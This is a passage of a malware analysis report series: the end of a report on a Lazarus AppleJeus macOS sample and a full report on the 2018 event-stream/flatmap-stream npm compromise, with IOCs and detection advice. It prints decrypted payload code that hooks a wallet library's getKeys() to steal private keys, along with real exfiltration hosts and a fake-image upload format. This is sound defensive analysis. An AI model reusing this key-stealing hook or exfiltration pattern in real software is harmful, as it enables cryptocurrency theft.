LC_LOAD_DYLIB @rpath/QtNetwork.framework/Versions/5/QtNetwork LC_LOAD_DYLIB @rpath/QtCore.framework/Versions/5/QtCore LC_LOAD_DYLIB /System/Library/Frameworks/DiskArbitration.framework LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework LC_LOAD_DYLIB /usr/lib/libc++.1.dylib LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib # Built on Qt, not native Cocoa/AppKit — matches public AppleJeus reporting: # a cross-platform Qt-based fake trading-app UI shared between Win/macOS builds

C2 Communication: Exfil Disguised as an Image Upload

strings [payload] | grep -iE 'http|Content-Disposition|Accept'
https://www.wb-bot.org/certpkg.php Content-Disposition: form-data; name="api"; Content-Disposition: form-data; name="upload"; filename="temp.gif" Content-Type: application/octet-stream Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* --certpkg --certpkg-- # Filename says .gif, Content-Type says octet-stream — a real image # would say image/gif. This mismatch is the exfil's tell.

Exfiltrated data is packaged as a multipart form POST with the file named temp.gif and an Accept header mimicking a browser requesting images. To a defender glancing at request metadata, this can look like routine image traffic rather than C2 exfiltration.

Capabilities from Mangled C++/Qt Symbols

CapabilityMangled SymbolDemangled
Process enumeration14GetProcessListvGetProcessList()
Exfiltration6uploadERK7QStringRK10QByteArrayupload(QString const&, QByteArray const&)
Payload obfuscationi8XorCryptR10QByteArrayXorCrypt(QByteArray&)

Behavioral summary: enumerate running processes (likely AV/EDR detection) → fingerprint hardware via DiskArbitration/IOKit → obfuscate collected data with XOR → exfiltrate via a fake image upload to wb-bot.org/certpkg.php.

§10 · MITRE ATT&CK & IOCs

Lazarus / AppleJeus: Mapping & Indicators

T1195.002
Trojanized Software
Initial Access
Fake cryptocurrency-trading-app installer package
T1204.002
User Execution: Malicious File
Execution
Victim runs installer expecting legitimate trading software
T1057
Process Discovery
Discovery
GetProcessList(), likely AV/EDR detection
T1082
System Information Discovery
Discovery
DiskArbitration/IOKit hardware enumeration
T1027
Obfuscated Files or Information
Defense Evasion
XorCrypt() encodes data before transmission
T1001.002
Data Obfuscation: Steganography-adjacent
Defense Evasion
Exfil disguised as temp.gif with image Accept headers
T1071.001
Web Protocols
C2
HTTP POST to wb-bot.org/certpkg.php
T1041
Exfiltration Over C2 Channel
Exfiltration
upload() sends data over the same HTTP channel as C2

Indicators of Compromise

TypeValue
Installer SHA-256ae4be6343ba403a264c0f0e5ccff169648dc854f0a71d6509f38b018ce325042
Payload SHA-25654c6107c09f591a11e5e347acad5b47c70ff5d5641a01647854643e007177dab
Payload MD5b63e8d4277b190e2e3f5236f07f89eee
C2 DOMAINwb-bot.org
C2 ENDPOINThttps://www.wb-bot.org/certpkg.php
BehavioralHTTP POST, filename="temp.gif" but Content-Type: application/octet-stream (mismatch)

Threat Actor Context

Lazarus Group is attributed to North Korea's Reconnaissance General Bureau: the 2014 Sony Pictures breach, the 2016 Bangladesh Bank SWIFT heist, WannaCry (2017), and a sustained campaign targeting cryptocurrency exchanges for financial theft. AppleJeus, first documented by Kaspersky (August 2018) and confirmed by CISA (advisory AA21-048A), is the operation this sample is consistent with.

§11 · Comparative Analysis

Cross-Actor Comparison

Analyzing two independently attributed nation-state actors targeting the same platform surfaces both convergent and divergent tradecraft.

DimensionOceanLotus (Vietnam)Lazarus (North Korea)
MotivePolitical / espionageFinancial (crypto theft)
DeliverySpear-phished documentTrojanized .pkg installer
UI frameworkNative Cocoa/Objective-CCross-platform Qt
C2 transportRaw TCP, custom protocolHTTP POST, mimics web traffic
C2 configAES-128 encrypted, decrypted only in memorySingle hardcoded HTTPS URL, unencrypted
Data-in-transit obfuscationAES-128 (CommonCrypto)XOR, plus fake-image disguise
FingerprintingIOPlatformSerialNumber via IOKitDiskArbitration + IOKit
Extensibilitydlopen/dlsym runtime pluginsNot observed, self-contained

Finding: despite the same target platform, engineering priorities diverge with mission. OceanLotus, an espionage actor with a small number of high-value targets, invests in defeating static/dynamic analysis of the implant itself. Lazarus, financially motivated with a larger opportunistic victim pool, invests in defeating casual network traffic inspection and in cross-platform code reuse via Qt. Neither approach is objectively better; each is optimized for a different constraint.

§12 · Methodology

Analysis Methodology

PhaseTools Used
Sample acquisitiontheZoo GitHub repo, unzip -P infected
File identificationfile (Linux correctly parses Mach-O headers)
Hash generationsha256sum, md5sum
String extractionstrings
Binary structurellvm-objdump --macho --all-headers
Dylib importsllvm-objdump --macho -p
Hex inspectionxxd
Installer/xar parsingPython3 struct + zlib (manual xar header parse)
Encoded stringsPython3 (XOR brute-force, base64 decode)

All analysis was static only, conducted from a Linux VM with no macOS execution environment. No sample was ever run, for either actor.

End Report 02 / macOS  ·  Begin Report 03 / Supply Chain
TLP:WHITE

Malware Analysis Report:
Supply Chain Compromise

event-stream / flatmap-stream (npm, 2018) · JavaScript
Analyst Twinkle Kamdar
Date 2026-07-15
Incident event-stream (2018)
Threat Level CRITICAL
Target Copay Bitcoin Wallet (BitPay)
Ecosystem npm · JavaScript
TLP Handling Statement

This report is classified TLP:WHITE (equivalent to modern TLP:CLEAR). This incident was fully disclosed publicly by npm, Snyk, and the original researchers in 2018, and the malicious code analyzed here is preserved in a publicly available GitHub gist by the researcher who originally reverse-engineered it. No non-public information, victim data, or proprietary telemetry was used.

§01 · Overview

Executive Summary

In September 2018, a new co-maintainer of the popular npm package event-stream (~2 million weekly downloads) added a new dependency, flatmap-stream, in version 3.3.6. It contained an obfuscated, encrypted, multi-stage payload that ultimately targeted Copay, a Bitcoin/Bitcoin Cash wallet published by BitPay, which depended on event-stream transitively.

This is a canonical software supply chain compromise (T1195.001): rather than attacking Copay directly, the attacker compromised a dependency several levels removed from the target, so a legitimate npm install by Copay's own developers silently pulled in the malicious code. The payload was engineered to be inert in every environment except Copay's, evading generic sandboxes, and remained live for roughly two and a half months before discovery.

This report analyzes the final, decrypted third-stage payload, preserved publicly by researcher Jarrod Overson, the actual code that ran inside a compromised Copay installation attempting to steal cryptocurrency wallet private keys.

§02 · Incident Timeline

Incident Timeline

1
2018-09-08New co-maintainer "right9ctrl" gains commit access to event-stream, adds flatmap-stream as a dependency in v3.3.6
2
2018-09-09flatmap-stream v0.1.1 published, containing an obfuscated first-stage bootstrap
3
2018-10-29GitHub issue opened reporting an unexpected Node.js deprecation warning (createDecipher), caused by the malicious code's crypto API usage
4
2018-11-20 to 26Community and researchers reverse-engineer the payload; npm removes flatmap-stream, publishes a security holding package in its place
5
2018-11-26BitPay/Copay ships a patched release; public disclosure follows from npm, Snyk, and independent researchers
§03 · Attack Architecture

Three-Stage Payload

Public analysis established the payload operated in three stages:

1
In flatmap-stream itselfObfuscated bootstrap checks whether the host's package.json description field matches a specific value, and uses it as an AES-256 decryption key. Wrong environment = garbage output, not malicious-looking code.
2
Environmental matchCopay's own description, "A Secure Bitcoin Wallet", supplies the correct key. A second encrypted blob decrypts, resolving the target: bitcore-wallet-client/lib/credentials.js
3
Final payloadThe decrypted JavaScript analyzed below: reconnaissance, filtering, and exfiltration of wallet credentials
§04 · Static Analysis

The Decrypted Stage 3 Payload

SHA-256 (as preserved) d85a3e5172832dadfb0773d52be02236205146f5c260661fcccaab659021b0ac
MD5 94e99b53f7382960bf4a810634291c37

Reconnaissance and Filtering

payload-c.js (decrypted stage 3)
global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } });

Walks every wallet credential in the victim's Copay profile, checks each cached balance, and only flags wallets holding 100+ BTC or 1,000+ BCH (multi-million-dollar thresholds). Every wallet below the threshold is silently ignored, deliberate selectivity to target only high-value victims and avoid volume-based anomaly detection.

Privilege Escalation via Prototype Hijacking

payload-c.js: monkey-patching bitcore-wallet-client
var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && ( delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey) ) } catch (e) {} return t }

Rather than cracking the wallet's own encryption, the payload wraps the legitimate library's own getKeys() method. It lets the real function decrypt the keys using the user's own passphrase, then steals the plaintext return value, but only for wallets already flagged high-value. It waits for the legitimate app to do the hard work, then steals the result at the moment of use.

Exfiltration: RSA-Encrypted, Hex-Obfuscated, Dual-Destination

$ python3 -c "print(bytes.fromhex('636f7061796170692e686f7374').decode())"
$ python3 -c "print(bytes.fromhex('636f7061796170692e686f7374').decode())" copayapi.host # typosquat of the legitimate Copay API domain $ python3 -c "print(bytes.fromhex('3131312e39302e3135312e313334').decode())" 111.90.151.134 # hardcoded IP fallback if DNS is blocked # Both destinations receive HTTP POST on port 8080 # Every exfiltrated chunk is RSA-2048 encrypted before transmission: $ openssl rsa -pubin -in pubkey.pem -outform DER | sha256sum b30e416c38497b6a3f2d93106bd8b252fe232f5b11f1342b681aa4397aa64391

Data is chunked into 200-byte blocks (RSA can't directly encrypt data larger than its key size), each block independently encrypted and hex-encoded, then joined with + delimiters. Only the attacker's private key can decrypt this, so even a full packet capture of the C2 traffic reveals nothing but ciphertext to a defender.

Cross-Platform Storage Access

The payload probes for three storage backends in sequence: Cordova's mobile filesystem API, browser localStorage, and Chrome extension storage, reflecting that Copay shipped as a desktop Electron app, a browser extension, and a Cordova-based mobile app from the same codebase.

§05 · MITRE ATT&CK & IOCs

Mapping & Indicators

T1195.001
Compromise Software Dependencies
Initial Access
Malicious dependency added by a newly trusted co-maintainer
T1027
Obfuscated Files or Information
Defense Evasion
Multi-stage encryption; hex-encoded C2 destinations
T1480
Environmental Keying
Defense Evasion
AES key derived from target's own package.json; inert elsewhere
T1574
Hijack Execution Flow
Defense Evasion
Monkey-patches Credentials.prototype.getKeys
T1005
Data from Local System
Collection
Reads wallet credentials from localStorage/Chrome/Cordova storage
T1074
Data Staged
Collection
Chunks stolen data into 200-byte blocks before transmission
T1573.002
Encrypted Channel: Asymmetric Crypto
C2
RSA-2048 public-key encryption of all exfiltrated data
T1041
Exfiltration Over C2 Channel
Exfiltration
HTTP POST to typosquat domain plus hardcoded IP fallback

Indicators of Compromise

TypeValueContext
C2 DOMAINcopayapi.hostTyposquat of legitimate Copay API
C2 IP111.90.151.134Hardcoded fallback
RSA KEYb30e416c38497b6a3f2d93106bd8b252fe232f5b11f1342b681aa4397aa643912048-bit, SHA-256 of DER
Payload SHA-256d85a3e5172832dadfb0773d52be02236205146f5c260661fcccaab659021b0acAs preserved
Compromised packageflatmap-streamRemoved from npm 2018-11-26
Compromised dependentevent-stream v3.3.6Added the malicious dependency
§06 · Detections

Detection Recommendations

DEPENDENCY
Flag any dependency added to a security-sensitive project by a newly added maintainer within a short window of gaining publish access, the single highest-leverage signal in this incident's own timeline.
SCA
Alert when a package with a generic stated purpose (a "stream utility," here) imports crypto, http, and reads the host's own package.json fields at runtime, none of which are needed for stream manipulation.
CODE
Flag code that reassigns SomeClass.prototype.someMethod while preserving and calling through to the original, a common way to intercept sensitive data without breaking legitimate functionality.
NETWORK
Alert on outbound connections to newly registered or low-reputation domains from build/CI or production Node.js processes, especially non-standard ports carrying non-conformant traffic.
SANDBOX
A payload's inertness in a generic sandbox is not evidence of benignity. Code that checks for a specific environment fingerprint before activating is itself a red flag; dynamic analysis should simulate the suspected target, not a generic one.
CI/CD
Pin dependency versions and audit diffs on every version bump for security-sensitive dependency trees, not just top-level project dependencies. npm's security holding package pattern is a reasonable last line of defense, but arrives after the compromise.
§07 · Context

Why This Case Matters for Supply Chain Defense

Unlike the malware families analyzed elsewhere in this series (XMRig, OceanLotus, Lazarus), which are payloads a defender encounters after some initial compromise has already occurred, this incident demonstrates a fundamentally different attack surface: the build-time dependency graph itself. Every consumer of event-stream, not just Copay, silently received the malicious code through entirely legitimate npm install operations.

The environmental-keying technique (T1480) used here, decrypting the payload only inside the intended target, is a defense-evasion pattern largely unique to supply chain attacks: a traditional dropped-and-executed sample can't practically assume it knows its exact victim's environment in advance, whereas an attacker controlling a widely-imported dependency can afford to write a payload keyed specifically to one downstream consumer and leave every other consumer looking clean.

§08 · Methodology

Analysis Methodology

PhaseTools / Sources Used
Sample acquisitionPublic GitHub gist (preserved payload), npm registry API, GitHub code search
Timeline reconstructionnpm's blog post, Snyk's post-mortem, academic incident paper
Static analysisDirect source reading (JavaScript, no compilation needed)
C2 indicator decodingPython3 (bytes.fromhex)
RSA key fingerprintingOpenSSL (rsa -pubin -text, DER + SHA-256)
Hashingsha256sum, md5sum

All analysis was static: reading and reasoning about the JavaScript source directly. The payload was never executed, and no live npm package installation was performed.